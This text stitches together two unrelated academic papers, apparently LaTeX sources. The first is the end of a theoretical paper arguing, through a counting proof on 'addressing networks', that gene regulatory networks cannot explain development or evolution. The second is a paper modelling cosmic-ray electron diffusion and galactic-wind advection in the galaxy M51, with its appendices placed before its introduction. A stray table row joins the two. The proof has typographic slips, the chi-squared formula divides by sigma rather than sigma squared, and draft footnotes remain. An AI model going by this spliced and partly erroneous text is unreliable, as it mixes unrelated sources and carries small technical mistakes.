To generate the virtual Out-address combination $^\wedge \!\mathcal{V}$ each unitary Out-address $^\wedge \!\alpha_{i}$ in $^\wedge \!\mathcal{V}$ must be called by some Out-node $\mathcal A$. Consider $^\wedge \!\alpha_{i}$. To generate $^\wedge \!\alpha_{i}$ either it occurs directly, encoded in $\mathcal A$ (where $^\wedge \!\alpha_{i}$ is in the Out-address combination $^\wedge \!\mathcal A$) or $^\wedge \!\alpha_{i}$ occurs in some other node and has to be called by an address $^\wedge \! \delta$ contained in $\mathcal A$'s Out-address $^\wedge \!\mathcal A$. If $^\wedge \!\alpha_{i}$ is encoded in $\mathcal A$ it cannot occur anywhere else in $N$. If $^\wedge \!\alpha_{i}$ is not encoded in $\mathcal A$ it has to be called by some Out-address $^\wedge \! \delta$ that is encoded in $\mathcal A$ and the Out-address $^\wedge \! \delta$ matches an In-address encoded in $^\vee \!(^\wedge \! \alpha)$. Assume the match is sufficient to activate $^\wedge \!\alpha_{i}$, e.g., using OR-addressing. Similarly, for any other unitary Out-address $^\wedge \! \alpha_{j}$ in $^\wedge \!\mathcal{V}$, either $^\wedge \!\alpha_{j} \neq ^\wedge \!\alpha_{i}$ is encoded in $\mathcal A$ or it has to be called by $\mathcal A$. If called and $^\wedge \!\alpha_{j}$ has the same In-address for $^\wedge \! \delta$ as $^\wedge \!\alpha_{i}$ where $^\wedge \! d$ matches both $^\vee \!(^\wedge \!\alpha_{i})$ and $^\vee \!(^\wedge \!\alpha_{j})$ then the generation of $^\wedge \! \delta$ will generate the both unitary Out-addresses $^\wedge \!\alpha_{i}, ^\wedge \!\alpha_{j}$. If $^\wedge \!\alpha_{j}$ has a different In-addresses from $^\wedge \!\alpha_{i}$, then some Out-address $^\wedge \!\epsilon$ that matches $^\vee \!(^\wedge \!\alpha_{j})$ has to be encoded in $\mathcal A$ or generated by $\mathcal A$. Hence, for each combination address $(^\wedge \!\alpha_{1}, \ldots, ^\wedge \!\alpha_{k})$ generated by $^\wedge \!(\mathcal A)$ in $N$ if a unitary sub-address $^\wedge \!\xi$ within the combination address $^\wedge \!\mathcal{V} = (^\wedge \! \alpha_{1}, \ldots, ^\wedge \! \alpha_{k})$ is not encoded in $^\wedge \!\mathcal A$, it has to be generated by $^\wedge \!\mathcal A$ with call to the node that generates $^\wedge \!\xi$. If the activating In-address $^\vee \!(^\wedge \!\xi)$ of $^\wedge \!\xi$ is different from the other unitary Out-addresses $^\wedge \!\alpha_{i}$ in $^\wedge \!\mathcal{V}$ then such a call requires at least one more Out-address $^\wedge \!\lambda$ that matches an In-address in $^\vee \!(^\wedge \! \xi)$ to activate and generate $^\wedge \!\xi$.
\subsection{Formal Proof}
\begin{thm} If $N^{E}$ contains no loops and no signaling, if $N^{E}$ contains $n$ encoded unitary Out-addresses and if there are no repeats of encoded unitary Out-addresses in $N^{E}$
then if a virtual address $^\wedge \!\mathcal{V}$ of length $k \geq 2$ is generated dynamically during the execution of the network, then maximum number of virtual address combinations that can be generated by an encoded network $N^{E}$ is $n/k$ and $k \geq 2$.
\label{thm:VirtualNet}\end{thm}
\begin{proof}
Let $^\wedge \!\mathcal{V} =\, ^\wedge \!^{k}\mathcal{V} = (^\wedge \!\bf v_{1}, \ldots, ^\wedge \!\bf v_{k})$ be any virtual Out-address that is not encoded directly in $N^{E}$. By definition of virtual node, there is no encoded node $\mathcal A$ in $N^{E}$ that contains all the unitary Out-addresses in $^\wedge \!\mathcal{V}$. Hence, it requires at least $2$ and up to $k$ encoded Out-nodes $\mathcal A_{1} \ldots \mathcal A_{k}$ to generate a virtual combination $^\wedge \!^{k}\mathcal{V}$ such that each encoded node contains a subset of the unitary Out-addresses in the virtual address combination. Assume, without loss of generality, that two Out-nodes, $\mathcal A$ and $\mathcal{B}$, generate $^\wedge \!^{k}\mathcal{V}$.
Given a virtual Out-address $^\wedge \!^{k}\mathcal{V}$ is generated by two Out-nodes $\mathcal A$ and $\mathcal{B}$, let $^\wedge \!^{x}\mathcal{V}_{A}$ be the sub-address sequence generated by $\mathcal A$ and $^\wedge \!^{y}\mathcal{V}_{B}$ be the sub-address sequence generated by $\mathcal{B}$. Since by assumption unitary Out-addresses are only encoded once, $^\wedge \!\mathcal A$ cannot intersect $^\wedge \!\mathcal{B}$. Hence, $x + y \geq k$ and $\mathcal A$ and $\mathcal{B}$ together generate the full virtual address $^\wedge \!^{k}\mathcal{V} =\, ^\wedge \!^{k}\mathcal{V}_{A,B}$. Thus, the generation of a virtual address $^\wedge \!^{k}\mathcal{V}$ of size $k$ uses up $k$ unitary addresses. By assumption, there are at most $n$ unitary addresses available in the network $N$. By definition, virtual Out-address consists of at least two unitary Out-addresses. Therefore, there are at most $n/2$ virtual addresses can be generated by any (simple -no loops, no signaling) encoded network $N$. More generally, if each virtual address is of size $\geq k$, then at most $n/k$ virtual combinations can generated by a network of size $n$ and $k \geq 2$.
\end{proof}
\section{Gene Regulatory Networks as addressing networks}
Gene Regulatory Networks (GRNs) consist of transcription factor genes (TF-genes) that generate transcription factor proteins (TF-proteins) that bind to cis promoters (TF-promoters) of genes resulting in their possible activation.
If TF-genes are mapped to unitary Out-addresses and TF-promoters are mapped to unitary In-addresses, then Gene Regulatory Networks (GRNs) can viewed as instances of addressing networks. Gene Regulatory Networks are encoded linearly in genomes. Thus, GRNs are instances of linearly encoded addressing networks.
The encoded links between nodes in GRNs consist of {\em transcription factor genes} (TF-genes) and their cis promoter sequences (TF-promoters) that bind and catch matching TF-proteins generated by TF-genes. TF-promoters are normally associated with one or more genes which are activated once their cis TF-promoters is loaded. Thus, GRNs are addressing networks where the nodes of the network are linked by addresses that match in some way. Combinations of TFs form the addresses of GRNs. TF-promoters, denoted by $\tfc_{i}$, combine to form the In-addresses of nodes in GRNs. TF-genes are denoted by $\tfg$. Individual TF-genes, denoted by $\tfg_{j}$, correspond to the unitary Out-addresses of addressing networks. TF-promoters are denoted by $\tfc$. A node $\mathcal A$ in a GRN has the general form $\mathcal A = (\tfc_{1} \ldots \tfc_{m}, X, \tfg_{1} \ldots \tfg_{k})$ with $m \geq 0$ and $k \geq 0$. $^\vee \!\mathcal A = (\tfc_{1} \ldots \tfc_{m})$ is the node's In-address or cis promoter site and consists of zero or more TF-promoters $\tfc_{i}$.
The Out-address $^\wedge \!\mathcal A = (\tfg_{1} \ldots \tfg_{m})$ consists of zero or more the TF-genes $\tfg_{j}$.
$X$ is a, possibly null, cell action-directive. The simplest linking node in a GRN has the form $\mathcal A = (\tfc \,|\, \tfg)$ with an In-address $^\vee \!\mathcal A = (\tfc)$ consisting of a single TF-promoter $\tfc$ and a unitary Out-address $^\wedge \!\mathcal A = (\tfg)$ consisting of single TF-gene $\tfg$.
\subsection{Cis Promoter Logic}
We use the term TF-promoter for both cis regulatory promoters, repressors and activators (see \cite{Latchman2005,Hughes2011}). The activation of a particular node $\mathcal A$ with promoter $\cat\,^{k}\mathcal A$ will depend on its cis-regulatory logic \cite{Davidson2006, Carroll2005, Carroll2008, Carroll2011, Furlong2012}. If it has AND-logic then all sub-addresses $\tfc_{i} \in\, \cat\,^{k}\mathcal A$ must be loaded by their matching TF-protein $\tfp_{i}$. If it has OR-logic then only one of the sub-addresses $\tfc_{i}$ needs to be loaded to activate the gene. The cis-regulatory logic can be quite complex such as a Boolean function, or a threshold logic function.
Nor does it matter that there appears to be no canonical address relationship between TFs and their cis promoters. The nature of the cis-regulatory activation logic is independent of the combinatorial proof since it does not depend on the activation logic nor on the execution of the network by the IES. All that is needed for the proof is that TF-genes and TF-promoters are encoded in the genome and form links by some matching relationship.
\subsection{Consequences: Size limits of GRN networks}
Given there are at most 1,000 TF-genes in extant genomes, then if the In-addresses of gene promoters would require just $k = 1$ matching TFs, then there are at most 1,000 control nodes in a pure GRN. Hence, there would be at most 1,000 links in the network. For a binary decision tree would have a depth of at most $9$. $2^{9} = 512$ has $2^{n+1} - 1 = 1023$ Out-nodes and $2^{n+1} - 2 = 1022$ Out-addresses or links. For a network that controls the movement, division and differentiation of billions of cells, a network with only 1,000 control nodes and a depth of between 1,000 for a linear control path and 9 for a binary tree control structure, cannot generate the complex output sequences necessary for space-time control of the embryonic development of complex multicellular organisms. Hence, the traditional theories of development and evolution based on GRNs cannot be adequate. They cannot explain the control of such complex dynamic processes and they cannot explain the evolution of complex multicellular organism.
\section{Control capacity of networks}
Let $N_{\mathcal A}^{*}$ be the set of possible paths through a network starting from a node $\mathcal A$. If viewed in terms of action sequences that the paths in $N_{\mathcal A}^{*}$ generate then $N_{\mathcal A}^{*}$ is the extensional representation of the {\em action strategy} $\pi(N_{\mathcal A})$ of the network where $\pi^{*}(N_{\mathcal A}) = N_{\mathcal A}^{*}$.
The {\em control capacity} of a network $N$ relative to a start node $\mathcal A$ is a function of the number, length and complexity of possible paths in $N_{\mathcal A}^{*}$. The {\em generative capacity} of a network $N$ relative to a start node $\mathcal A$ is a function of the maximally complex output that a path in $N_{\mathcal A}^{*}$ can generate.
\subsection{Limits of cis evolutionary capacity}
Adding cis-promoters does not increase network size or control capacity.
The current network based view of how organisms evolve is that the cis promoters of genes evolve, while transcription factor genes are evolutionarily conserved over hundreds of millions of years \cite{Carroll2008,Carroll2005,Davidson2002,Davidson2006,Furlong2012}. In the language of addressing networks, transformations of gene regulatory networks are limited to changes in the In-addresses of nodes. Thus, pure cis promoter evolution is restricted to In-address evolution and, therefore, cannot increase network size and capacity\footnote{Critique: Unless there exist Out-nodes with no matching In-nodes. Then adding In-addresses to inaccessible In-nodes can change the network topology and extend its connected functional size.}
This limits evolution to changes in topology of the network without increasing its size or capacity. The topology of a network $N$ can be transformed when In-addresses are modified. In-address transformations can result in novel developmental phenotypes.
\subsection{Evolutionary capacity defined}
A {\em 1st order address operator} $\alpha^{1}$ on an addressing network $N$ changes a unitary address of some node in $N$ without changing the number of nodes in $N$. A {\em 2nd order node operator} $\alpha^{2}$ on an addressing network $N$ adds to or deletes nodes from $N$. A {\em 2nd order Out-address operator} on $N$ adds to or deletes Out-nodes from $N$. 1st order address operators result in transformations of network topology leaving the number of nodes constant. Combinations of 1st order address and generative 2nd order (copy/delete/replace) operators result in network transformations of topology, growth, complexity and capacity\footnote{Question: How does evolutionary capacity relate to control capacity?}.
Let the {\em cis evolutionary capacity} $\cisM(N)$ be the set of all possible networks that can be generated from a given network $N$ if only the In-addresses of nodes in $N$ are changed, i.e., if only 1st order In-address transformations are allowed while Out-addresses are unchanged and the number $n$ of Out-nodes remains constant.
\subsection{Invariance of control capacity under cis-transforms}
Note, all networks $N_{i} \in \cisM(N)$ have the same set of unitary Out-addresses and Out-nodes. If some Out-nodes in $N$ are inaccessible in $N$ they may become accessible in some transform $N^{T} \in \cisM(N)$ leading to a greater control capacity. However, if all Out-nodes are accessible in $N$ then the control backbone of any cis transformed network $N^{T} \in \cisM(N)$ remains invariant. Hence, the maximal control capacity of the network under cis transforms remains invariant.
No cis-network (In-address network) resulting from In-address operators on $N$, however complicated, can increase the combinatorial address capacity on an encoded network $N^{E}$. While there is no restriction on repeating In-addresses, the restriction on Out-address combinations limits the control capacity of the network. Regardless of the number of cis promoter In-addresses one adds to the network, it does not increase the Out-node number of the network. All transformations, additions, or deletions of In-addresses can do is change to links and thereby the topology of the network and change the sets of terminal nodes that are linked in. While this can significantly change the behavior of the network, it does not change the control backbone. Thus, its ability grow in complexity is limited by constant size of the control backbone. It cannot reflect the complexity of control needed to generate the complexity of space-time events that occur in embryogenesis and evolution. It cannot grow in complexity in response to evolutionary pressures. It fundamentally limits the evolutionary capacity of the organism.
\subsection{Non-additive 1st order trans evolutionary capacity}
An {\em 1st order Out-address operator (mutation)} of a network $N$ changes the Out-address $^\wedge \!\mathcal A$ of Out-nodes $\mathcal A$ in $N$ where Out-address transforms of $^\wedge \!\mathcal A$ include modification of a given unitary Out-address, unitary Out-address additions and deletions . A 1st order Out-address operator
is an Out-address transformation that is non-additive and leaves the number of Out-nodes unchanged. It does not add Out-nodes by adding Out-addresses to terminal nodes.
Let the {\em 1st order Out-address Evolutionary Capacity} $\transM(N)$ be the set of all possible networks that can be generated from an addressing network $N$ if only the Out-addresses of Out-nodes in $N$ are changed, i.e., if only 1st order Out-address transformations of Out-nodes are allowed. By definition, 1st order Out-address transforms are non-additive leaving the number of Out-nodes invariant because they leave the terminal nodes with empty Out-addresses unchanged.
Any Out-address transform that stays within the address space of a network $N$, except for addition or subtraction, can simulated by a sequence of In-address transforms of $N$.
Question: Are the (1st order, 2nd order) In-address network manifolds and Out-address network manifolds equivalent?
\subsection{Additive 2nd order trans evolutionary capacity}
A {\em 2nd oder Out-address transformation} of a network $N$ modifies the Out-address any node $\mathcal A \in N$, including terminal nodes with empty Out-addresses, changing, adding to or deleting unitary Out-address from $^\wedge \!\mathcal A$.
Let the {\em 2nd order trans evolutionary capacity} or {\em Generative Evolutionary Capacity} $\metaM(N)$ of a network $N$ be the set of all possible networks that can be generated if Out-nodes can be created and added to the network $N$ such that the network's control backbone can grow and additive 2nd order Out-address transformations are allowed.
The developmental capacity of a network both enables and limits the possible complexity its output. The developmental capacity is bounded by the its control capacity which is defined by the number of Out-nodes in the network. The evolutionary capacity of a network depends on what kinds of network mutations or transformations are allowed. Pure 1st order cis (In-address) and 1st order trans (Out-address) transformations place inherent limits on the evolution of developmental network capacity and corresponding output complexity because they do not increase the number of Out-nodes in the network. The evolution of complex organisms only becomes possible with 2nd order additive trans (Out-address) transformations that create and link new Out-nodes into the network. Addition of Out-nodes enables the evolution of increase in network size and complexity which, in turn, allows a corresponding increase in the developmental capacity of evolving addressing networks.
\section{Conclusion}
Given no loops or cycles and no random generation of Out-addresses, if all unitary Out-addresses in a virtual combination $^\wedge \!\mathcal{V}$ have have the same In-address by which they can be activated by the same unitary Out-address then an encoded network $N^{E}$ with $n$ encoded Out-nodes, can generate at most $n$ different virtual address combinations. If any two unitary Out-addresses in $^\wedge \!\mathcal{V}$ require activation by different unitary Out-addresses, then if the minimum length of any virtual Out-address $^\wedge \!\mathcal{V}$ is at least $k$ then an encoded network $N^{E}$ with $n$ encoded Out-nodes, can generate at most $n/k$ different virtual Out-address combinations.
Therefore, each encoded unitary Out-address $^\wedge \!\xi$ in a virtual address combination $^\wedge \!(\mathcal{V})$ generated by $^\wedge \!\mathcal A$ (where the virtual address is encoded elsewhere and not in $^\wedge \!\mathcal A$) has to be generated by means of a new encoded Out-address $^\wedge \!\lambda$. Since, by assumption unitary Out-addresses, whether in combinations or not, are only encoded once in $N^{E}$, then since address combinations $(^\wedge \!\alpha_{1}, \ldots, ^\wedge \!\alpha_{k})$ use unitary addresses repeatedly, most address combinations are {\em virtual} and not explicitly encoded in $N^{E}$. Therefore, virtual address combinations have to be generated as the network is executed. By the proof above, any virtual combination $^\wedge \!(\mathcal{V}) = (^\wedge \!\alpha_{1}, \ldots, ^\wedge \!\alpha_{k})$ (i.e., not encoded explicitly in $N$) requires at least one and up to $k$ new Out-addresses $(^\wedge \!\xi_{1}, \ldots, ^\wedge \!\xi_{k})$ that match the In-addresses $(^\vee \!(^\wedge \!\alpha_{1}), \ldots, ^\vee \!(^\wedge \!\alpha_{k}))$ of that combination respectively. However, if there are only $n$ unitary Out-addresses in $N^{E}$, there can be at most $n/k$ Out-address combinations of length $k$ available in $N^{E}$. Hence, if each unitary address in a virtual address combination requires a distinct In-address then the network $N^{E}$ cannot have more than $n/k$ Out-address combinations be they explicit or virtual. At best if of all unitary addresses in a virtual combination have the same In-address, then there can be at most $n$ distinct virtual address combinations.
Hence, the virtual network $N_{V}$ that consists of non-encoded Out-addresses that have combination addresses that repeat unitary Out-addresses, cannot be greater than the encoded network $N^{E}$. In other words, the encoded network $N^{E}$ cannot generate a more complex, larger virtual address space needed for a larger virtual network.
This means that transcription factor networks (GRNs) cannot by themselves create a large virtual address space.
If the arguments are correct, then genes cannot explain development or the evolution of metazoans.
\footnotesize
\bibliographystyle{abbrv}
|
1,477,468,750,031 | arxiv | \section{optimization of the wind speed \label{sec:appendix}}
Starting with the simulation results from the best fit wind velocity in fig.\ \ref{fig:advection} can be seen that the escape due to advection is far to high to match the observed data. Therefore we introduce a normalization factor $f_\mathrm{adv}$ in eq.\ \ref{eq:wind}, so the advection velocity reads as
\begin{equation}
\Vec{v}(\Vec{r}) = f_\mathrm{adv} \cdot 10^{3.23} \, \mathrm{km/s} \, ( \Sigma_\mathrm{SFR} )^{0.41} \ \Vec{e}_z \quad .
\end{equation}
To quantify the quality of the fit of the simulation results to the data a $\chi^2$ variable
\begin{equation}
\chi_\mathrm{red}^2 = \frac{1}{df} \sum\limits_{i=1}^{N} \frac{\left(\alpha_{\mathrm{sim}, i} - \alpha_{\mathrm{obs}, i} \right)^2}{\sigma_{\mathrm{obs}, i}}
\end{equation}
is used, where $\alpha_i$ denotes the spectral index in the $i$-th bin, $\sigma_i$ is the error of the observed data and $df = N - 1$ is the degree of freedom. Here only data for $r_\mathrm{rg} < 13.5$ kpc are taken into account, because the magnetic field vanishes for higher values (see fig.\ \ref{fig:data}).
Trying to fit the observed data best we tried values for $f_\mathrm{adv}$ between 0.1 and 1 in steps of $\Delta f = 0.1$. Additionally we test $f_\mathrm{adv} = 10^{-2}, 10^{-3}, 10^{-4}$ to compare the expected behavior for low normalization factors.
The results are shown in fig.\ \ref{fig:chi2} for all 3 models and both diffusion coefficients.
It can be seen that the \textbf{model C} leads to a sharp global minimum. To reach a minimized $\chi_\mathrm{red}^2 \leq 1$ only small deviation for wind speed fraction about $f_\mathrm{adv} = 0.2 \pm 0.1$ are allowed.
This can also be seen in fig.\ \ref{fig:SpectrumColor} where the spectral index is plotted against the galacto centric radius for different advection speed fractions $f_\mathrm{adv}$. Only the values of $f_\mathrm{adv} = 0.2 \pm 0.1$ are in reasonable agreement with the data (black cross).
The simulation for the higher diffusion coefficient $D_0 = 6.6 \cdot 10^{28} \mathrm{cm^2/s}$ do not show a plausible minimum for \textbf{model A} and \textbf{model B}. This is expected due to the fact that the value of the diffusion coefficient is fitted to match the escape timescale for the CREs in \cite{Mulcahy2016}. Therefore, any additional contribution of a galactic wind will lead to shorter escape timescales and a flatter spectrum. The best fit values for the wind speed fraction are shown in table \ref{tab:fValue}.
\begin{figure}[h]
\centering
\includegraphics[width=\linewidth]{plots/opt_chi2.pdf}
\caption{Optimization value $\chi_\mathrm{red}^2$ depending on the fraction of the wind speed $f_\mathrm{adv}$. The minimal value is marked with a red edge of the datapoint.}
\label{fig:chi2}
\end{figure}
\begin{figure}[h]
\centering
\includegraphics[width=.8\linewidth]{plots/Color_Adv_D_low.pdf}
\caption{CRE spectral index for different wind speed $f_\mathrm{adv}$ (color coded) in the \textbf{model C}.}
\label{fig:SpectrumColor}
\end{figure}
\begin{table}[h]
\centering
\begin{tabular}{c|ccc}
Diffusion coefficient &\textbf{model A} & \textbf{model B} & \textbf{model C} \\ \hline
$2 \cdot 10^{28}\ \mathrm{cm^2/s}$ & $ 0.2$ & $ 0.4$ & $ 0.2$ \\
$6.6 \cdot 10^{28}\ \mathrm{cm^2/s}$ & $ 10^{-2}$ & $ 10^{-3}$ & $ 0.3$
\end{tabular}
\caption{Optimal value for the normalization of the wind speed $f_\mathrm{adv}$ in the different models.}
\label{tab:fValue}
\end{table}
\FloatBarrier
\section{energy dependent diffusion \label{sec:energy}}
Although the observation indicates an energy independent diffusion coefficient, we compare our model taking an energy dependence into account. In this chapter we restrict our geometry only to the best fit model \textbf{[model C]}, with the radial dependent scale height. The optimization of the wind speed is performed as presented in appendix \ref{sec:appendix}. We compare to different diffusion models. The first model assumes a diffusion coefficient similar to the observation in the Milky Way assuming a Kolmogorov-like turbulence scaling the Diffusion reads as
\begin{equation}
D^{I}(E) = 6.1 \cdot 10^{28} \ \mathrm{cm^2 / s} \ \left(E_\mathrm{4GeV}\right)^{\frac{1}{3}} \quad ,
\end{equation}
where $E_\mathrm{4GeV}$ is the energy in units of 4 GeV.
As a second compare we norm the diffusion coefficient to the observed value of $D_0 = 2\cdot 10^{28} \mathrm{cm^2/s}$ taking the same energy scaling as before. In this case, the diffusion coefficient reads as
\begin{equation}
D^{II}(E) = 2\cdot 10^{28} \mathrm{cm^2/s} \left(E_\mathrm{4GeV}\right)^{\frac{1}{3}} \quad .
\end{equation}
The resulting CRE spectra are shown in fig. \ref{fig:energydependend}. Both cases fit significantly worse to the data. Especially in the inner galaxy the flat spectra can not be reproduced by the energy dependend diffusion.
\begin{figure}[h]
\centering
\includegraphics[width=0.7\linewidth]{plots/Spectra_optimal_energyDependendDiff.pdf}
\caption{CRE spectral index for the energy dependent diffusion models using the geometry of \textbf{model C}.}
\label{fig:energydependend}
\end{figure}
\section{Introduction}
In this age of multiwavelength and multimessenger astronomy, nearby galaxies that allow for spatially resolved substructures can be observed at different wavelengths in such detail that there is differential information about the population of basically all of the ingredients needed to describe spatially resolved cosmic-ray transport and interaction of cosmic rays. In particular, information on the three-dimensional magnetic field structures, a differential view on the star formation rate and secondary properties like the spectral index of cosmic rays, the cosmic-ray diffusion coefficient, as well as the advection velocity of the plasma can be provided for both edge-on \citep{heesen_18b,miskolczi_19a,heald_22a} and face-on \citep{murphy_08a,tabatabaei_13a,mulcahy_16a} galaxies. This wealth of data brings one-dimensional transport models beyond their limits.
1D models try to either describe a galaxy in the edge-on or face-on geometry. Clearly, while this is a useful simplification, it neglects the true 3D structure of a galaxy. For the edge-on case, one hence neglects the local concentration of star formation such as in spiral arms where advection is more important than diffusion. Also, the conservation of magnetic flux means that at least extensions to quasi 1D models are required in order to lead to a decreasing magnetic field strength such as the `flux tube' model \citep{heald_22a}. On the other hand, in face-on galaxies the radio continuum emission is smeared out in comparison with the star formation, so that this map can be convolved to either minimize the difference between the two maps \citep{murphy_08a} or linearize the cross-correlation between them \citep{berkhuijsen_13a}. This then will provide an estimate of the cosmic-ray diffusion length. A shortcoming of this method is that it neglects the influence of the radio halo along the line-of-sight. Also, as \citet{mulcahy_16a} have shown, CRE escape from the galaxy cannot be neglected but is indeed required in order to explain the radio continuum spectrum. The model by \citet{mulcahy_16a} was a first attempt to move beyond purely descriptive work in face-on galaxies, solving the diffusion-loss equation to model the radio spectral index. Obviously, the most promising way would be to beyond this simplification and describe a galaxy with both cosmic ray diffusion and advection in a 3D model. In this paper, we use the publicly available Monte-Carlo code CRPropa \citep{Batista_2016,Merten2017, AlvesBatista:2021Za} to describe the 3D transport in M51 . While originally written to describe the extragalactic transport of hadronic cosmic-rays via the solution of the equation of motion, CRPRopa has been extended to a second propagation method, i.e.\ solving the transport equation via the approach of Stochastic Differential Equations (SDEs). The conversion of a Fokker-Planck equation into an SDE is useful here, as the particle densities are derived from the pseudo-particle trajectories. This way, the equation of motion approach and the transport equation can be treated in one framework, as both work with individual particle trajectories \citep{Merten2017}. This approach also allows for both continuous and catastrophic losses, for the production of full particle showers in the interactions that can be followed up on, etc.
Modeling the 3D transport of CRE in M51 depends mainly on three assumptions, \textit{(1)} the diffusion coefficient and its energy scaling, \textit{(2)} the escape scale-height for CREs and \textit{(3)} the advection speed profile. We will implement these properties in the transport code as described in the following section \ref{transport:sec} and fit the parameters to the observed properties. The results are discussed in Section \ref{results:sec} and conclusions are made in Section \ref{conclusions:sec}.
\section{Transport model \label{transport:sec}}
The transport of cosmic ray electrons (CREs) can be described by the diffusion-advection equation \citep[e.g.][]{Tjus2020}
\begin{equation}
\frac{\partial n}{\partial t} = D\ \nabla^2 n - \vec{v} \cdot \nabla n - \frac{\partial}{\partial E}\left[ \frac{\partial E}{\partial t} \ n \right] + S \quad ,
\label{eq:transport}
\end{equation}
assuming isotropic diffusion, where $n$ is the particle density distribution, $D$ is the diffusion coefficient, $\partial E /\partial t$ is the energy loss term described in sec.\ \ref{ssec:energyloss}, $S$ is the source term and $\vec{v}$ is the advection speed derived from the star formation rate surface density (SFRD) as described in sec.\ \ref{ssec:sourcedistribution}.
For the diffusion coefficient $D$ we compare the observation based value $D \approx 2 \cdot 10^{28} \mathrm{cm^2 s^{-1}}$ \citep{heesen_19a} with the best fit model from \cite{Mulcahy2016}.
\subsection{Energy loss \label{ssec:energyloss}}
Energy loss terms $\partial E / \partial t$ for synchrotron emission and inverse Compton scattering are taken into account in the CRE transport equation. In our simulation we apply the energy loss as continues process following the parametrization given by \cite{Mulcahy2016}
\begin{equation}
\frac{\partial E}{\partial t} = 8\cdot 10^{17} \, E^2 \ \left( U_\mathrm{rad} + 6\cdot 10^{11} \ \frac{B^2(\vec{r})}{8\pi} \right) \ \frac{\mathrm{GeV}}{\mathrm{s}} \quad ,
\end{equation}
where $E$ is the CRE energy in GeV, $U_\mathrm{rad} = 1 \ \mathrm{eV}$ is the energy density of the interstellar radiation field and $B(\vec{r})$ is the root mean square of the magnetic field.
The magnetic field model is implemented to decrease exponentially with the height $z$ above the scale height $h_b$.
\begin{equation}
B(\vec{r}) = B(r_\mathrm{gc}) \cdot \exp \left\{- \frac{|z|}{h_b}\right\} \quad .
\end{equation}
Here, $r_\mathrm{gc}$ denotes the galactocentric radius and $z$ the height above the galactic plane. The radial profile of the magnetic field strength is measured by Heesen et al. (2022, submitted) and shown in Fig.\ \ref{fig:data}. The exponential cutoff scale $h_b$ is listed in Table \ref{tab:models}.
\begin{figure}[ht]
\centering
\includegraphics[width=\linewidth]{plots/data.pdf}
\caption{Radial dependence of the root mean square of the magnetic field strength (blue) and the star formation rate (SFRD, orange). Data taken from \cite{heesen_19a} and Heesen et al. (2022, submitted). The grey dotted line indicates the restriction of our model.}
\label{fig:data}
\end{figure}
\subsection{Source distribution \label{ssec:sourcedistribution}}
The acceleration of CREs is believed happen in star forming regions, possibly at the shock front of supernova remnants, see e.g.\ \citep{Tjus2020} for a review. Therefore, we assume that the radial source position of the electrons follows the observed SFRD (see Fig.\ \ref{fig:data}). The SFRD was estimated using a hybrid star-formation map from a combination of {\it GALEX} 156-nm far-ultraviolet and {\it Spitzer} 24-$\upmu$m mid-infrared data \citep{leroy_08a}.
\subsection{Cosmic-ray advection}
Even the strength of the galactic wind is assumed to be proportional to the SFRD. This is motivated both by a similarity analysis of a planar blast waves \citep{vijayan_20a} and radio continuum observations of radio haloes in edge-on galaxies \citep{heesen_21a}. The galactic wind speed as measured from ionised gas depends on the SFRD in a similar way on the SFRD. Hence, we use this as our parametrisation.
We take a galactic wind in z-direction $\vec{v}(\vec{r}) = \mathrm{sgn}(z) \ v(r_\mathrm{gc})\ \vec{e}_z $, where
\begin{equation}
v(r_\mathrm{gc}) = 10^{3.23} \left(\Sigma {}_\mathrm{SFR}\right)^{0.41} \mathrm{km \ s^{-1}} \label{eq:wind}
\end{equation}
is the best fit wind velocity following the SFRD found in \cite{heesen_18b} and sgn denotes the sign function.
In this model the wind velocity does not depend on the z-position. In galactic wind models, the wind speed is zero in the galactic disc and then accelerates with height. Depending on the assumptions of geometry and energy and mass injection, this acceleration can be either gradual over a few kpc \citep{everett_08a} or rapid over a few 100 pc \citep{yu_20a}. So far, there is no consensus for the vertical acceleration profile either as the properties of the cosmic-ray electron distribution and magnetic field strength are difficult to disentangle \citep{heesen_21a}. Hence, we make the simplifying assumption of a constant wind speed.
\subsection{CRE diffusion \label{ssec:diffusion}}
Deflections of CREs in the Galactic magnetic field introduce diffusive transport behavior, which is characterized by the diffusion tensor $\hat{D}$ that enters the transport equation. It is known that in galaxies spatial diffusion can be anisotropic or isotropic dependent on the environment \citep{Sampson:2022}. In the absence of detailed knowledge for the three-dimensional modeling of diffusion tensor and their relation for M51, especially at the low particle energies, where predictions of the classical scattering relation break \citep{Reichherzer:2022MNRAS}, we assume scalar diffusion. The diffusion coefficient dependency on the parameters of the CREs and the environment relies on the dominant scattering mechanism. Recent observational data, e.g., is the effective residence time of the positrons in the Milky Way, or analytical considerations suggest energy-independent diffusion coefficients of charged particles in galaxies up to $\sim$100 GeV and above. Possible explanations include advection-dominated escape \citep{Reichherzer:2022}, or transport equally contributed by both advection and diffusion \citep{Recchia:2016}. However, even for diffusion-dominated escape, various explanations exist for energy-independent diffusion. Diffusion can be caused by resonant scattering of CREs in pre-existing magnetohydrodynamic turbulence or by self-excited fluctuations. At energies considered during this study, the self-excitation scenario is expected to dominate the transport properties of CREs. Waves excited through the streaming instability cause energy-independent diffusion in the absence of damping \citep{Kempski:2021}. Energy-independence can also be achieved for particle scattering in pre-existing magnetohydrodynamic turbulence \citep{Cowsik:2022} or through the influence of the Parker instability causing the leakage of cosmic rays out of the galaxy \citep{Parker:1966, Parker:1969}. Also, the field-line-random walk that may contribute to perpendicular diffusion at these energies exhibits energy independent diffusion \citep{Minnie:2009, Reichherzer:2020}. Regardless of which of the effects or combination described above holds, we assume energy-independent diffusion.
We compared our result to energy dependent diffusion which lead to a significantly worse fit for the data (see appendix \ref{sec:energy}).
Such a behaviour is also suggested by the 1D diffusion models of \citet{mulcahy_16a} and the convolution experiments of \citet{heesen_19a}.
\subsection{Geometry of M51}
To model the geometry of M51, we take a cylindrical form of the galaxy with a maximal radius of $R_\mathrm{max} = 15$ kpc and a height $h_d$ allowing a z-position $-h_d \leq z \leq h_d$. The parameter for $h_d$ is not fully known. Therefore, we present the results for three different models as follows:
\begin{itemize}
\item \textbf{[model A]} considers a large scale height for the galactic height and for the magnetic field of $h_d = h_b = 7$ kpc. This value is not realistic but chosen to see the impact of the parameter.
\item \textbf{[model B]} is based on the observed synchrotron emission scale height of 1.5 kpc \citep{krause_18a}. Therefore, the height of the disk is taken to be $h_d = 3$ kpc and for the magnetic field height, we use $h_b = 6$ kpc.
\item \textbf{[model C]} follows the variable scale height presented in \cite{Mulcahy2016}. Here, a scale height of $h_d = 3.2$ kpc is taken for $r_\mathrm{gc} \leq 6$ kpc and $h_d = 8.8$ kpc for $r_\mathrm{gc} \geq 12$ kpc. In between the scale height is interpolated linearly.
\end{itemize}
